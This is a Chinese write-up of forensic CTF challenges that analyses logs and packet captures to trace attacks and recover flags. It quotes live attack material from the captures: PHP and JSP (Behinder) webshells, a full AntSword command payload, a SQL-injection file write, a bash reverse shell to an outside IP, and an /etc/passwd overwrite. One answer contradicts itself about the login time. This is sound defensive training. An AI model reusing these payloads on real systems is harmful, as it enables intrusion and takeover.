前言
记录DIDCTF的应急响应题目。
一、第一部分
1、linux-basic-command
获取2015年访问请求 排名前五的ip地址。格式:flag{ip1,ip2,ip3,ip4,ip5}
这个题的附件是一个access.log
,那就是分析apache的日志了,从日志里找出2015年访问排名前五的地址……那不就是在考excel么
筛选出2015年的,做个排序,得到前五名:
148.251.50.49
213.150.254.81
37.1.206.196
178.191.155.244
195.212.98.190
flag{148.251.50.49,213.150.254.81,37.1.206.196,178.191.155.244,195.212.98.190}
2、ire7-windows-log
请分析windows日志文件winlog.evtx,并从中找到key信息。
这个什么也没说,也无从下手啊,只能一个一个找,最后在2019/6/17 14:29:33
这条日志中找到:
5sBgaXqR
,不要带外面的东西,只提交括号里面的。
3、wireshark0
某日接到客户应急需求,客户连接工业控制系统的核心网络设备遭到入侵,初步推测可能是网络设备的远程登录密码被破解,请通过对给出的流量包分析,得到黑客登录网络设备后窃取的机密数据key1。
flag为8位长度字符串
过滤telnet
的流量包,一个一个看,最后在711号流量包中找到:
........... ..!.."..'.....#
............
**********************************************************************************
* *
* WARNING! WARNING! WARNING! WARNING! WARNING! WARNING! WARNING! *
* You are connected to the company's internal core network. *
* Unauthorized access and use of this network will be vigorously prosecuted. *
* *
**********************************************************************************
User Access Verification
Username: ........ ..!..!....."..'.....#
.......P........xterm-256color......R........W........b........n........s...................................................................c
cisp
Password: cisp-ire!@#
R1>en
Password: cisp-ire!@#.
R1#dir
Directory of flash:/
1 -rw- 21 <no date> key1.txt
7864316 bytes total (7864228 bytes free)
R1#more key1.txt
The_key1_is_HYDw29eP
R1#exind
Translating "end"
% Unknown command or computer name, or unable to find computer address
R1#exit
直接从里面就看到key了:HYDw29eP
4、wireshark0.5
下列抓包文件中包含了用户登录网站过程,请找出用户登录网站的明文密码。格式flag{密码}
这也没什么好办法呀,就硬找…………
这种题目运气好的话就搜login
也许能直接搜到……
最后在1135号流量包中找到了:
POST /member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1 HTTP/1.1
Host: bbs.hh010.com
Connection: keep-alive
Content-Length: 83
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://bbs.hh010.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://bbs.hh010.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: __cfduid=df941df9ae1e6383ed972dfc445b36a1e1434543504; tjpctrl=1438694321823; DX27_d09b_saltkey=FrS6WB7k; DX27_d09b_lastvisit=1438688915; DX27_d09b_sendmail=1; DX27_d09b_onlineusernum=6725; DX27_d09b_sid=a1e9fi; DX27_d09b_check_key=; DX27_d09b_check_address=; pgv_pvi=6256318835; pgv_info=ssi=s9174185554; CNZZDATA2516833=cnzz_eid%3D2041013018-1438690765-http%253A%252F%252Fbbs.hh010.com%252F%26ntime%3D1438690765; Hm_lvt_7d6a48039c8b35e7f43f722eeeee1a90=1438690608,1438691088,1438691872,1438692753; Hm_lpvt_7d6a48039c8b35e7f43f722eeeee1a90=1438692753; DX27_d09b_lastact=1438692727%09like.php%09
username=wireshark_test%40sina.com&password=0p-0p-0p-&quickforward=yes&handlekey=ls
HTTP/1.1 200 OK
Date: Tue, 04 Aug 2015 12:52:22 GMT
Server: Apache
X-Powered-By: PHP/5.2.17p1
Set-Cookie: DX27_d09b_lastact=1438692742%09member.php%09logging; expires=Wed, 05-Aug-2015 12:52:22 GMT; path=/; domain=.hh010.com
Expires: -1
Cache-Control: no-store, private, post-check=0, pre-check=0, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 175
Connection: close
Content-Type: text/xml; charset=gbk
<?xml version="1.0" encoding="gbk"?>
<root><![CDATA[<script type="text/javascript" reload="1">if(typeof succeedhandle_touclick=='function') {succeedhandle_touclick('lsform',10);}</script>]]></root>
清除的在流量包中看到:username=wireshark_test%40sina.com&password=0p-0p-0p-
flag就是:flag{0p-0p-0p-}
5、linux-log
有一台服务器遭到了黑客的入侵,请下载日志,并从中分析出黑客的 IP 地址,并将黑客登录操作系统的时间作为 flag 值提交(注:提交的日期时间格式为 flag{HHMMSS})。
ssh的登录日志,这个还是一通找就完了。
前边都是爆破的日志,最后找到了登录上的:
Nov 19 17:28:47 student sshd[5215]: Accepted password for root from 192.168.4.23 port 60563 ssh2
Nov 20 06:50:03 student sshd[2313]: Accepted password for root from 192.168.4.223 port 51116 ssh2
Nov 20 12:05:26 student sshd[2052]: Accepted password for root from 192.168.4.223 port 54847 ssh2
登录成功的有3次,题目虽然没说,但是应该是要的最早的,那么登录的时间就是:Nov 20 06:50:54
flag就是:flag{172847}
6、wireshark1
请分析可疑流量并找到key信息。请提交8位长度字符串
什么都没说,还是硬找啊……
看了半天,这是AWVS扫描的流量啊……那大概明白了,应该是先用AWVS扫描了网站,然后直接RCE,之后命令执行查看了某个文件,key就在某个文件中,那么我们直接查看响应包200 ok
的流量包,从头往后找,最后在26175号流量包中找到了一个压缩包:www0587.zip
,key应该是在这里面,因为这个流量包中看到了这一句:
导出来这个压缩包才知道,这个就是网站的源码,那一眼就看到key了:
解压竟然还要密码,找找上一个流量包吧。
在18704号流量包里找到这么一行:act=shell&cwd=%2Fvar%2Fwww%2Fhtml%2F&p1=+zip+-P+Adm1n%21+www0587.zip+-r+%2Fvar%2Fwww%2Fhtml&p2=&p3=&p4=&charset=gbk
看p1参数的值,url解码一下:zip -P Adm1n! www0587.zip -r /var/www/html
这就很清楚了,把/var/www/html
目录压缩成了www0587.zip
文件,密码是:Adm1n!
(不要忘了后面的叹号)
接下来用密码对压缩包解压,打开Th1sLSth3key
,得到:key:4tEm21x5
答案就是:4tEm21x5
7、welog1
请根据日志分析攻击者写入的木马的连接密码,提交格式为:flag{xxxxx}
题目给的是apache日志,分析前几行就看出来了,这是SQL注入的日志,攻击者通过SQL注入写入了木马,找到写入的日志即可:
192.168.150.1 - - [10/Mar/2023:08:19:46 +0000] "GET /index.php?id=0%27%20union%20select%201,0x223c3f70687020406576616c28245f504f53545b273362393064373564653234386365353562363665386533303837336236303030275d293b3f3e22,3,4%20into%20outfile%20%22/var/www/html/ShEll1.php%22; HTTP/1.1" 200 1194 "-""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36"
给这个十六进制转为字符就是:
"<?php @eval($_POST['3b90d75de248ce55b66e8e30873b6000']);?>"
那么flag就是:flag{3b90d75de248ce55b66e8e30873b6000}
8、wireshark2.1
在企业网络中,总有部分系统管理员为了方便文件共享就直接在服务器上搭建FTP、NFS等服务。因为,系统管理员对文件访问权限设置的不合理,用户存在弱密码等原因,给黑客留下了可乘之机。好在全流量监控平台可以截获黑客窃取的这部分敏感数据,应急响应人员后期便可根据泄漏信息的重要程度来制定不同等级的应急响应预案。在该台服务器上便发生过FTP数据窃取事件,请通过分析得出黑客窃取的敏感数据key4的值。注释:全流量监控平台抓取的此次数据泄漏事件的流量包capture.pcap存放在FTP服务的日志目录下面。 解压缩密码 +X:K1T}
拿到流量包一通分析,FTP服务存在弱口令,攻击者通过暴力破解拿到了用户名和密码并登录了进去,看编号14的tcp流,账号密码是:cisp/cisp-ire
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse ([email protected])
220 Please visit http://sourceforge.net/projects/filezilla/
USER cisp
331 Password required for cisp
PASS cisp-ire
230 Logged on
接下来看编号21的tcp流:
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse ([email protected])
220 Please visit http://sourceforge.net/projects/filezilla/
AUTH TLS
502 SSL/TLS authentication not allowed
AUTH SSL
502 SSL/TLS authentication not allowed
USER cisp
331 Password required for cisp
PASS cisp-ire
230 Logged on
CWD /
250 CWD successful. "/" is current directory.
PWD
257 "/" is current directory.
TYPE I
200 Type set to I
PASV
227 Entering Passive Mode (172,16,12,132,83,5)
RETR key4.zip
150 Connection accepted
226 Transfer OK
明显看到客户端下载了key4.zip
文件,并且传输成功了。
接下来找到这个文件保存下来:tcp.stream eq 24
,这一看就是压缩包的源码了。
打开压缩包需要密码……就知道不会这么简单:
……解压密码题目给了,不认真读题的后果啊……+X:K1T
解压后得到文件内容:key4 is :C8iuACXB
,最后key就是:C8iuACXB
9、data-recovery
data.img 文件为硬盘镜像副本,请恢复该硬盘中的文件,寻找 Flag
……之前没接触过镜像恢复这一块,卡了很久,这里就详细记录一下。
题目给了一个data.img
的镜像文件,用DiskGenius导入这个镜像:
然后选中这个镜像,点击恢复文件:
看到恢复的文件列表,里面有Flag.rar
(那两个是一样的),接下来恢复这个文件:
选中这个文件,右键后,选择复制到xxx
:
然后这个文件就在桌面了,打开了里面是个Flag.png
最后flag就是:flag{73D3DA963F7505E9}
10、wireshark2
从网络通信方式的层面看,后门可以被分为http/https类型、irc类型、icmp类型、dns类型等。在某次应急响应行动中,安全人员抓到了一份可疑的流量包,请从流量包中分析出通过某种特殊协议传输的敏感数据key1的值。
这个题还给了两个流量包,乍一看很吓人,其实签到难度。
打开icmp.pcapng
,总共就15个流量包,一个个看也就一分钟的事……找到第12个流量包:
就找到了key:6r56FeX8
11、wireshark3
给了个流量包,别的什么都没说,找吧……
按照习惯,还是先过滤HTTP请求,然后在tcp流16中找到了:
那就导出这个压缩包吧:
好好好,这么玩。
同样的方法找到了f1aG2.zip
,但是同样不是我们要的:
还有f1aG3.zip
:
f1aG4.zip
:
最后f1aG5.zip
:
这个应该是了,但是要密码……再找
tcp流20中:
POST /phpxs/upload/upload.php HTTP/1.1
Host: 192.168.43.94
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.94/phpxs/upload/upload.html
Content-Type: multipart/form-data; boundary=---------------------------123244965010584241131282074436
Content-Length: 241
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------123244965010584241131282074436
Content-Disposition: form-data; name="file"; filename="pass.txt"
Content-Type: text/plain
key:wHa1_a_bUsY_dAy!!
-----------------------------123244965010584241131282074436--
密码有了,解压得到了:ZmxhZ3syNTQ2YTZkODBjNGRiNDg2MzVlYjZ9
一眼base64:flag{2546a6d80c4db48635eb6}
二、2024长城杯决赛-溯源取证
您的同事李白在运维一台部署了移动应用服务端的linux服务器时发现了异常,好像被黑客攻击了。小李通过简单分析,发现可能是由于公司的移动应用和其服务端程序都存在安全问题导致的。小李将当天可能与攻击相关的流量导出,并与移动应用一起打包压缩,你可以下载分析,也可以登录此服务器进行攻击溯源、排查等,提供了SSH和VNC访问的方式供您和您的团队进行分析取证。
条件限制,没有靶机,但是用流量包也可以做
1、黑客攻击此服务器所使用的2个IP分别是什么(ascii码从小到大排列,空格分隔)
先导出所有的IP地址:
前两个可能性比较大,但是不能确定就一定是,我们看看这两个IP的流量:(这里语法一定是ip.src==202.1.1.1
,不要写成ip.addr == 202.1.1.1
,因为服务器与客户端交互,服务器的流量中也会有攻击数据,所以只能看源IP的流量是否有攻击行为)
可以确定这个202.1.1.1
是攻击IP了,然后看到202.1.1.1
攻击的都是202.1.1.66
,所以202.1.1.66
就是服务器IP了。
那么接下来看202.1.1.130
:
可以确定这是有攻击行为的,但是202.1.1.130
和202.1.1.129
具体谁是攻击者,谁是被攻击者还要进一步分析,我们追踪流看看:
蓝色的是请求方发出的数据,红色的是响应方发出的数据,点一下这个cat /etc/passwd
,定位到了43143号流量包,可以看到这是202.1.1.129
发给202.1.1.130
的,那么第二个攻击IP肯定就是202.1.1.129
了。
最后答案就是:202.1.1.1 202.1.1.129
2、存在安全问题的apk中使用的登录密码是什么?
首先这个肯定在源码里,需要逆向出APK的源码,但是直接上源码里找是很难找到的(我是翻了半天没翻到)
简单的方法就是装上这个APK,登录一下看看有哪些特殊字段,那我们就有迹可循了:
看到这里弹出来了一句话,那就去搜这个关键字:未登录,请先登录后操作
定位到了这个文件,在这个文件的最上面找到了密码:password663399
3、黑客尝试上传一个文件但显示无上传权限的文件名是什么?
先过滤http contains "upload"
,然后在流量包中找到了这一条:tcp.stream eq 31
4、黑客利用的漏洞接口的api地址是什么?(http://xxxx/xx)
这个直接过滤http请求:http.response.code == 200
然后找到了tcp流的51号:
POST /api/upload HTTP/1.1
Access-Flag: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3MTUzNDA5NzEsIm5iZiI6MTcxNTM0MDY1MywiZXhwIjoxNzQ3Mzk1Mjk5LCJyb290IjoiMSJ9.JwIu15l_SfvL4DppXaWUBzDTi7-CMuWSMBasr_I3hYs
Content-Type: multipart/form-data; boundary=628c1882-2027-4c85-a009-e4cd41af99a9
Content-Length: 815
Host: 202.1.1.66:8080
Connection: close
Accept-Encoding: gzip, deflate, br
User-Agent: okhttp/4.9.0
--628c1882-2027-4c85-a009-e4cd41af99a9
Content-Disposition: form-data; name="avatar"; filename="pic.jsp"
Content-Type: image/jpeg
Content-Length: 17
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("bing_pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
--628c1882-2027-4c85-a009-e4cd41af99a9--
HTTP/1.1 200
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json
Transfer-Encoding: chunked
Date: Sat, 11 May 2024 10:13:18 GMT
Connection: close
{"msg":"头像已上传至http://202.1.1.66:8080/static/s74e7vwmzs21d5x6.jsp","code":0,"url":"http://202.1.1.66:8080/static/s74e7vwmzs21d5x6.jsp"}
一眼冰蝎,而且应该是成功了,路径也返回了。
那么接口就是:http://202.1.1.66:8080/api/upload
5、黑客上传的webshell绝对路径是什么?
木马都找到了,路径就是服务器返回的路径,第四题有:http://202.1.1.66:8080/static/s74e7vwmzs21d5x6.jsp
但是这个题问的文件的绝对路径,这个要结合靶机去找……由于做的不是官方比赛,没有靶机,这个只能从writeup中看了:/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp
6、黑客上传的webshell的密码是什么?
分析代码的题,先给木马拿出来分析一下:
<%@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!classUextendsClassLoader{
U(ClassLoader c){
super(c)
;}
public Class g(byte []b){
returnsuper.defineClass(b,0,b.length)
;}
}%>
<%if(request.getParameter("bing_pass")!=null){
String k=(""+UUID.randomUUID()).replace("-","").substring(16);
session.putValue("u",k);
out.print(k);
return;
}
//如果请求中包含 bing_pass 参数,代码会生成一个随机的 UUID 字符串,去除其中的连字符-,并截取后16位作为密钥k。然后将该密钥存储在会话(session)中,并将其输出到响应中,最后返回,不再执行后续代码。
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
%>
看代码是对请求包先进行了AES加密,密钥就是传入bing_pass
的时候生成的,它会把密钥输出出来。然后又进行了一次base64编码。
那密码就是:bing_pass
7、黑客通过webshell执行的第一条命令是什么?
在tcp流的76号中找到了密钥:
攻击者传入了两次bing_pass
,所以返回了两次密钥,但是肯定是第二个把第一个覆盖掉了,所以密钥就是:b99f657b04941030
再往下就是利用木马的请求包了,但是冰蝎的第一个包是状态检测,所以应该看第二个包。
解密后得到的是class文件,想要看到源码还要把class文件反编译:
这样就拿到了源码,一眼就看到了执行的命令是:pwd
8、黑客获取webshell时查询当前shell的权限是什么?
找到tcp流的153号,把请求包解密(上一题的步骤):
代码中看到攻击者执行了whoami
的命令,那就看响应包即可,把响应体转为十六进制放入cyberchef,选好配方:
然后base64解码:
dG9tY2F0Cg== -> tomcat
c3VjY2Vzcw== -> success
权限就是:tomcat
9、利用webshell查询服务器Linux系统发行版本是什么?
在tcp流174中的最后一个请求包中找到了攻击者执行命令:cat /etc/redhat-release
那就直接看它的响应体,拿出响应体用上一题的方法解密得到:
答案就是:CentOS Linux release 7.4.1708 (Core)
10、黑客从服务器上下载的秘密文件的绝对路径是什么?
在tcp流的13号中,请求了:/static/secert.file
,至于绝对路径……还是只能去靶机上看,但是这里没有环境,不过看路径应该和webshell是同一目录下的:/usr/local/tomcat/webapps/ROOT/static/secert.file
11、黑客通过反连执行的第一条命令是什么?
在tcp流283中找到请求包解密后是:
流283是反弹shell无疑了,那么接下来就该执行命令了,所以看tcp流的284:
执行的命令就很清楚了:cat /etc/passwd
12、黑客通过什么文件修改的root密码
还是tcp流的284,看到了这么一条命令:
echo -e "root:$6$KHysqjWMnoaHJ4QW$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N..:0:0:root:/root:/bin/bashnbin:x:1:1:bin:/bin:/sbin/nologinndaemon:x:2:2:daemon:/sbin:/sbin/nologinnadm:x:3:4:adm:/var/adm:/sbin/nologinnlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinnsync:x:5:0:sync:/sbin:/bin/syncnshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownnhalt:x:7:0:halt:/sbin:/sbin/haltnmail:x:8:12:mail:/var/spool/mail:/sbin/nologinnoperator:x:11:0:operator:/root:/sbin/nologinngames:x:12:100:games:/usr/games:/sbin/nologinnftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnnobody:x:99:99:Nobody:/:/sbin/nologinnavahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologinndbus:x:81:81:System message bus:/:/sbin/nologinnpolkitd:x:999:998:User for polkitd:/:/sbin/nologinntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologinnpostfix:x:89:89::/var/spool/postfix:/sbin/nologinnsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinnsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologinngeoclue:x:998:996:User for geoclue:/var/lib/geoclue:/sbin/nologinnrtkit:x:172:172:RealtimeKit:/proc:/sbin/nologinncolord:x:997:995:User for colord:/var/lib/colord:/sbin/nologinnpulse:x:171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologinngdm:x:42:42::/var/lib/gdm:/sbin/nologinnchrony:x:996:992::/var/lib/chrony:/sbin/nologinntomcat:x:1000:1000::/home/tomcat:/bin/bashn" > /etc/passwd
这很明显是修改了root
密码,是把root
的新密码带上/etc/passwd
的原本内容,重新输入了/etc/passwd
文件,所以修改root密码的文件就是:/etc/passwd
13、黑客设置的root密码是多少?
那就把黑客输入的内容解密一下:
$6$KHysqjWMnoaHJ4QW$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N..
我去……这么搞……
特殊手段搞到了,密码是:123456
14、黑客留下后门的反连的ip和port是什么?(ip:port)
这个在流量包里是真没找到…………
按照第11题找到的应该是:202.1.1.129:4444
,但是提交显示错误……
找了一圈的writeup都是从靶机中的定时任务里看到的,这就没办法了:
答案是:202.1.1.129:9999
15、黑客通过后门反连执行的第一条命令是什么?
tcp流的536:
第一条命令就是:rpm -qa | grep pam
16、黑客通过什么文件留下了后门?
这个思路应该是:上一题发现黑客查询了pam
文件,可能要对pam
文件下手,所以搜索一下:find / -name '*pam*'
,然后找到了:/usr/lib/security/pam_unix.so
和/usr/lib64/security/pam_unix.so
,对这两个分析发现是有后门的,答案就是:pam_unix.so
但是我这里是做的靶场,没有PC环境,从流量包里是分析不出来这个的……题目的附件中倒是给了这两个文件,算是提示吧。
17、黑客设置的后门密码是什么?
那就要分析后门文件了,题目附件给了这个文件,逆向出它的源代码:
密码就是:ssh_back_pwd
18、黑客的后门将root密码记录在哪个文件中?(绝对路径)
还是这个后门文件,接着往下翻:
文件就是:/tmp/.sshlog
三、流量特征分析-常见攻击事件 tomcat - From 玄机
1、tomcat-1
在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}
统计出来了流量包中所有的IP地址,具体是哪个还要每个具体分析……
先看10.0.0.112
,流量很多,都是SSH的:
这个也许爆破了ssh的密码,但是不能说这个是扫描。
接下来看14.0.0.120
,这个应该是扫描了,一直在扫目录:
flag就是:flag{14.0.0.120}
2、tomcat-2
找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}
送分题,看图吧:flag{guangzhou}
3、tomcat-3
哪一个端口提供对web服务器管理面板的访问?flag格式:flag{2222}
过滤http.response.code==200
的流量,全部看完了,也就只出现了8080
端口,尝试提交,正确了。
flag{8080}
4、tomcat-4
经过前面对攻击者行为的分析后,攻击者运用的工具是?flag格式:flag{名称}
随便找个http请求中结果为404的流量,追踪流一看:
工具最明显的特征就是User-Agent
字段不会改,都是默认的:flag{gobuster}
5、tomcat-5
攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码?flag格式:flag{root-123}
找了一圈并没有找到登录的流量包,但是找到了21616号流量包,内容是:
POST /manager/html/upload;jsessionid=0DE586F27B2F48D0CA045F731E0E9E71?org.apache.catalina.filters.CSRF_NONCE=83EDF4E2462ECC725BAF342DD7A46974 HTTP/1.1
Host: 10.0.0.112:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.112:8080/manager/html
Content-Type: multipart/form-data; boundary=---------------------------309854885940911807712888696060
Content-Length: 1324
Origin: http://10.0.0.112:8080
Authorization: Basic YWRtaW46dG9tY2F0
Connection: keep-alive
Cookie: JSESSIONID=0DE586F27B2F48D0CA045F731E0E9E71
Upgrade-Insecure-Requests: 1
-----------------------------309854885940911807712888696060
Content-Disposition: form-data; name="deployWar"; filename="JXQOZY.war"
Content-Type: application/octet-stream
把Authorization
字段base64解码:admin:tomcat
flag就是:flag{admin-tomcat}
6、tomcat-6
攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称?flag格式:flag{114514.txt}
还是上一个题流量包,POST上传了JXQOZY.war
文件(谁家正常用户上传war包啊)
7、tomcat-7
攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息?flag提示,某种任务里的信息
难道是计划任务?刚才分析其他题的时候已经看到了:
tcp流的9461号:
关键信息具体指什么……也没说清楚
提交了好几次,格式是真的让人痛苦:flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}
四、流量特征分析-蚁剑流量分析 - From 玄机
1、蚁剑流量分析-1
木马的连接密码是多少。答案格式:flag{密码}
过滤HTTP请求,第一条就是利用木马的流量:
密码就是1
,flag:flag{1}
2、蚁剑流量分析-2
黑客执行的第一个命令是什么
看服务器的响应就行,返回的第一条内容应该是执行了id
命令,flag就是:flag{id}
或者分析代码的话:
1=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.d53e47c56e78";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;functionasenc($out){return $out;};functionasoutput(){$output=ob_get_contents();ob_end_clean();echo"2c"."3f5";echo @asenc($output);echo"20"."c49";}ob_start();try{$p=base64_decode(substr($_POST["ma569eedd00c3b"],2));$s=base64_decode(substr($_POST["ucc3f8650c92ac"],2));$envstr=@base64_decode(substr($_POST["e5d0dbe94954b3"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";functionfe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};functionrunshellshock($d, $c){if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("[email protected]", "", "", "-bv");}} else {returnFalse;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);returnTrue;}}returnFalse;};functionruncmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo"ERROR://".$e->getMessage();};asoutput();die();&e5d0dbe94954b3=SR&ma569eedd00c3b=38L2Jpbi9zaA==&ucc3f8650c92ac=AkY2QgIi92YXIvd3d3L2h0bWwiO2lkO2VjaG8gZTEyNGJjO3B3ZDtlY2hvIDQzNTIz
蚁剑的流量执行的命令在最后面的base64编码的部分,分别是这三个参数:
e5d0dbe94954b3=SR
ma569eedd00c3b=38L2Jpbi9zaA==
ucc3f8650c92ac=AkY2QgIi92YXIvd3d3L2h0bWwiO2lkO2VjaG8gZTEyNGJjO3B3ZDtlY2hvIDQzNTIz
第一个参数没有编码,不需要解码,后面两个都是base64,但是直接解码是借不出来的,蚁剑的流量是把命令base64之后在开头填充两个任意字符,比如38L2Jpbi9zaA==,应该去掉前两个字符变成L2Jpbi9zaA==,然后解码:/bin/sh
下面的ucc3f8650c92ac的值也是一样,解码后是:cd "/var/www/html";id;echo e124bc;pwd;echo 43523
最后把两个值拼接在一起就是最终执行的命令:/bin/sh -c "cd /var/www/html;id;echo e124bc;pwd;echo 43523"
虽然第一个是cd /var/www/html
,但这个是蚁剑默认执行的,不是攻击者执行的,攻击者执行的是后面的id
。
3、蚁剑流量分析-3
黑客读取了哪个文件的内容,提交文件绝对路径
tcp流的2号:
这应该一眼就看出来是什么文件了,或者不放心也可以分析请求的数据,关键信息在最后的三个参数上:
e5d0dbe94954b3=2w
ma569eedd00c3b=WWL2Jpbi9zaA==
ucc3f8650c92ac=mtY2QgIi92YXIvd3d3L2h0bWwiO2NhdCAvZXRjL3Bhc3N3ZDtlY2hvIGUxMjRiYztwd2Q7ZWNobyA0MzUyMw==
解码第三个即可:cd "/var/www/html";cat /etc/passwd;echo e124bc;pwd;echo43523
这下放心了,文件就是/etc/passwd
,带上flag的格式:flag{/etc/passwd}
4、蚁剑流量分析-4
黑客上传了什么文件到服务器,提交文件名
tcp流的3号:tcp.stream eq 3
